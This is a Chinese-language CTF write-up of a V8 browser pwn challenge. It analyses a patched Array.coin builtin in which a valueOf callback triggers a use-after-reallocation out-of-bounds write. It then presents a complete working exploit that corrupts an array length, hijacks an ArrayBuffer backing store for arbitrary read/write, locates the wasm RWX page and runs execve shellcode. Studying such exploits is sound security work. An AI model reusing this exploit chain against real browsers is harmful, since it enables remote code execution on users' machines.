数字经济线下-Browser

数字经济线下-Browser

这题是数字经济线下赛的一道RealWorld pwn,很久以前就想调来着,一直拖到了现在,期间遇到了一个困扰了很久的问题,可惜后来还是没有解决。最后是看了别的师傅采用的方法来做的,这里记录一下~

下载地址

环境搭建

在开始分析题目之前得先把环境搭起来,这题没有给出v8的版本,给出的是chromium的commitid,所以我是先把chromium下载下来,然后切换到了题目中给出的f3ee5ef941cb,在该版本下进入到chromium的v8目录下,通过git log来获取当前版本的v8的commitid,获取到的id为0ec93e0472169794。然后按照获取v8并编译出来d8的流程即可。

1
2
3
4
5
6
7
8
9
10
11
# 该版本的chromium对应的v8的id
git checkout 0ec93e047216979431bd6f147ab5956bb729afa2

# 编译debug版本的d8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

# 编译release版本的包含漏洞的d8
git apply --ignore-space-change --ignore-whitespace ../diff.patch
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

题目分析

分析题目给出的diff文件,可以发现和starctf里面的OOB很类似,这题是给数组新增了一个coin函数,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();

首先判断参数的个数是否为3,除去默认的第0个参数,coin函数中应该需要两个参数。然后将数组的elements保存到局部变量中,接着获取用户输入的第1个参数作为length,第2个参数作为value。最后判断数组的长度是否大于37,是则利用保存在局部变量中的elemets将其第37个元素设置为value的值。

乍一看程序好像没有任何问题,在赋值之前也有判断数组的长度是否大于37,所以对elemets的元素进行赋值的时候应该都是对数组中的元素进行赋值才对!问题就出在Object::ToNumber()这个函数中,该函数可以通过valueOf触发callback回调,在回调函数中重新设置数组的length,就可以让数组重新分配elements的内存空间。

这会产生什么问题呢?试想如果最开始让数组的长度小于37,回调函数中将其设置为一个大于37的值,这样在判断数组长度的时候是满足大于37这个条件的,但是其中的set操作是对保存在局部变量中的elements进行操作的。由于数组重新分配了elements的空间,所以保存在局部变量中的elements相当于一个已经释放了的指针,对该指针指向的element的第37个元素进行set操作,便是越界写数据!

Object::ToNumber的分析

前面提到漏洞的关键在于Object::ToNumber能触发回调函数,下面从源码的角度来大致分析它是在什么地方触发回调函数的,由于没看过v8的源码,所以这里也只是大致的翻一下源码,如果有错的地方还请大佬们指正。

在vscode中全局搜索Object::ToNumber,找到之后用Go to Definition找到其定义的地方,该函数判断input是否是Number,是则将input返回,否则调用ConvertToNumberOrNumeric函数

1
2
3
4
5
// static
MaybeHandle<Object> Object::ToNumber(Isolate* isolate, Handle<Object> input) {
if (input->IsNumber()) return input; // Shortcut.
return ConvertToNumberOrNumeric(isolate, input, Conversion::kToNumber);
}

跟进ConvertToNumberOrNumeric,该函数是一个while循环,依次判断input是否属于Number、String、Oddball、Symbol以及BigInt。如果是则调用对应类的ToNumber函数,都不是则调用最后的JSReceiver::ToPrimitive函数,经过JSReceiver::ToPrimitive函数处理的结果将保存到input中,经while循环再次判断input是否是Number、String等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// static
MaybeHandle<Object> Object::ConvertToNumberOrNumeric(Isolate* isolate,
Handle<Object> input,
Conversion mode) {
while (true) {
// 判断是否是常见的Number、String等
if (input->IsNumber()) {
return input;
}
if (input->IsString()) {
return String::ToNumber(isolate, Handle<String>::cast(input));
}
if (input->IsOddball()) {
return Oddball::ToNumber(isolate, Handle<Oddball>::cast(input));
}
if (input->IsSymbol()) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kSymbolToNumber),
Object);
}
if (input->IsBigInt()) {
if (mode == Conversion::kToNumeric) return input;
DCHECK_EQ(mode, Conversion::kToNumber);
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kBigIntToNumber),
Object);
}
// 调用该函数尝试将input转换为更原始的值,然后进入新一轮的循环对新的input进行判断
ASSIGN_RETURN_ON_EXCEPTION(
isolate, input,
JSReceiver::ToPrimitive(Handle<JSReceiver>::cast(input),
ToPrimitiveHint::kNumber),
Object);
}
}

继续跟进JSReceiver::ToPrimitive,会发现这个函数中出现了我们所期望的内容。通过Object::GetMethod从参数receiver中获取一个函数,如果跟进Object::GetMethod也会发现它调用了JSReceiver::GetProperty从receiver中获取属性信息,判断其是否是可以调用的函数isCallable(),并将其返回。最后会用Execution::Call来调用获取到的函数,这应该就是前面提到的调用回调函数的地方了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// static
MaybeHandle<Object> JSReceiver::ToPrimitive(Handle<JSReceiver> receiver,
ToPrimitiveHint hint) {
Isolate* const isolate = receiver->GetIsolate();
Handle<Object> exotic_to_prim;
//获取receiver中的Method,保存到exotic_to_prim
ASSIGN_RETURN_ON_EXCEPTION(
isolate, exotic_to_prim,
Object::GetMethod(receiver, isolate->factory()->to_primitive_symbol()),
Object);
// 如果不是Undefined
if (!exotic_to_prim->IsUndefined(isolate)) {
Handle<Object> hint_string =
isolate->factory()->ToPrimitiveHintString(hint);
Handle<Object> result;
// 调用获取到的Method,结果保存至result
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string),
Object);
// 返回result
if (result->IsPrimitive()) return result;
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
Object);
}
return OrdinaryToPrimitive(receiver, (hint == ToPrimitiveHint::kString)
? OrdinaryToPrimitiveHint::kString
: OrdinaryToPrimitiveHint::kNumber);
}

漏洞利用-1

经过前面的分析,知道可以在ToNumber的回调中增加数组的长度来让其重新分配空间造成一个UAF,如果数组开始的长度小于37的话将会发生越界写。如果越界写的刚好是另一个数组的长度字段,那就有一个很大的数组越界了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
// 回调函数,新申请一个数组,并重新设置数组长度为0x100
valueOf:function(){
victim=new Array(12).fill(1.1)
array.length = 0x100
return 999999999999999
}
}
let array=[];
array.length=34;
// 会将victim的数组长度覆盖为一个很大的值
array.coin(length,val);

有了数组的越界,按照OOB的利用思路,实现addressOf,通过修改ArrayBuffer的backingstore实现任意地址读写。然后查找wasm的rwx段所在地址,写入shellcode应该就可以实现利用:

1
2
3
4
5
6
7
var f_addr = addressOf(f);
console.log("f addr: 0x"+hex(f_addr));
var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_function = read64(shared_info_addr+8n)-1n;
var instance_addr = read64(wasm_exported_function+0x10n)-1n;
var rwx_page_addr = read64(instance_addr+0x88n);
console.log("rwx page addr: 0x"+hex(rwx_page_addr));

但是在这个过程中遇到了一个问题,就是在查找rwx段地址的时候需要多次任意地址读,当我在第二次读的时候便会触发如下所示的错误:

一开始以为是我构造的利用有问题,但是尝试了几次之后发现并没有得到解决,也尝试过换一套模板,但只要是第二次任意地址读就会导致异常。后来又怀疑是因为JIT优化导致的问题,对同一个ArrayBuffer的backingstore写两次会触发异常,那么对不同的ArrayBuffer写会不会解决这个问题呢?我构造了多个ArrayBuffer,每次写的都是不同的ArrayBuffer,但还是一样的问题!

漏洞利用-2

后来看了别的师傅的文章,看到了另外一种利用方式,发现没有出现上面遇到的问题。这个方法的本质是在内存中搜索rwx的地址,大致过程如下:

首先构造如下的对象:

1
2
3
4
5
6
7
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;

var vicobj={marker: 1111222233334444, obj: f}
%DebugPrint(vicobj);
readline();

调试可以得知f的地址:

1
2
3
4
# vicobj的地址
0x2784f3b0f2e1 <Object map = 0x158696e8a909>
# f的地址
0x231280aa1249 <JSFunction 0 (sfi = 0x231280aa1211)>

此时rwx段所在地址为:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ vmmap
Start End Perm Name
...
0x00001f5814e80000 0x00001f5814ec0000 rw-p mapped
0x0000231280a80000 0x0000231280ac0000 rw-p mapped
0x00002784f3b00000 0x00002784f3b40000 rw-p mapped
0x00002883ffb08000 0x00002883ffb09000 rwxp mapped <==here
0x00002883ffb09000 0x000028843fb08000 ---p mapped
0x00002ebcf3b80000 0x00002ebcf3b96000 rw-p mapped
0x0000300f7a8c0000 0x0000300f7a900000 rw-p mapped
0x000037c4f22c0000 0x000037c4f2300000 rw-p mapped
0x0000391c50f00000 0x0000391c50f01000 rw-p mapped
...

尝试在f所在地址的一定范围内搜索rwx的部分地址0x2883ffb0,确实搜到了一处地方,经验证,该处存放的值就是rwx段的起始地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ find 0x2883ffb0 0x0000231280aa1000 0x0000231280aa3000
Searching for '0x2883ffb0' in range: 0x231280aa1000 - 0x231280aa3000
Found 1 results, display max 1 items:
mapped : 0x231280aa10da --> 0xe1e900002883ffb0
gdb-peda$ x/10xg 0x231280aa10d0
0x231280aa10d0: 0x000055555635caa0 0x00002883ffb08000<==here
0x231280aa10e0: 0x00002784f3b0e1e9 0x00002784f3b0e459
0x231280aa10f0: 0x0000231280a81851 0x0000231280aa1179
0x231280aa1100: 0x000018b8c29804d1 0x000018b8c29804d1
0x231280aa1110: 0x000018b8c29804d1 0x000018b8c29804d1
gdb-peda$ vmmap 0x00002883ffb08000
Start End Perm Name
0x00002883ffb08000 0x00002883ffb09000 rwxp mapped

至此,整个利用思路就清楚了。首先利用数组越界读可获取到f对象的地址,然后把ArrayBuffer的backingstore修改为该地址附近的值,使用dataview.getFloat64()结合偏移可搜索出来rwx段的起始地址,然后将ArrayBuffer的backingstore修改为rwx的起始地址,写入shellcode即可。

完整的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function exploit(){
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;

var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
valueOf:function(){
victim=new Array(12).fill(1.1)
array.length = 0x100
return 999999999999999
}
}

let array=[];
array.length=34;
array.coin(length,val);
var vicobj={marker: 1111222233334444, obj: f}
var victimbuffer=new ArrayBuffer(0x222);

var dataview = new DataView(victimbuffer);
var offset_to_vicobj = 0;
var offset_to_victimbuffer = 0;
for (let i = 0; i < 400; i++) {
let val = f2i(victim[i]);
if (val === 0x430f9534b3e01560n) {
offset_to_vicobj = i +1;
console.log("[+] VictimObj.obj's offset of OOBARR = ",offset_to_vicobj.toString());
break;
}
}

for (let i = 0; i < 400; i++) {
let val = f2i(victim[i]);
if (val === 0x222n) {
offset_to_victimbuffer = i + 1;
console.log("[+] VictimBuf's backing store pointer's offset of OOBARR = ",offset_to_victimbuffer.toString());
break;
}
}

var wasm_addr = f2i(victim[offset_to_vicobj])-0x189n;
var tmp;
console.log('wasm code: ',hex(wasm_addr));
victim[offset_to_victimbuffer] = i2f(wasm_addr);
for(let i=0;i<100;++i){
tmp = f2i(dataview.getFloat64(i*8,true));
if(tmp%0x1000n==0n&&tmp/0x1000n>0x1000n&&((tmp&0x0000ff0000000000n)!=0x7fn)&&(tmp&0xff0000n)){
wasm_addr = tmp;
break;
}
}
console.log('rwx addr: ',hex(wasm_addr));
let shellcode = [
72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5
];

victim[offset_to_victimbuffer] = i2f(wasm_addr);
for(let i=0;i<shellcode.length;++i){
dataview.setUint8(i,shellcode[i]);
// dataview.setFloat64(i*8,i2f(shellcode[i]));
}
f();
}

exploit();

参考链接

https://xz.aliyun.com/t/6577

http://www.dayjun.top/2019/10/24/%E4%BB%8E0-01%E5%AD%A6%E8%B5%B7%E6%95%B0%E5%AD%97%E7%BB%8F%E6%B5%8E%E7%BA%BF%E4%B8%8B%E8%B5%9BChrome/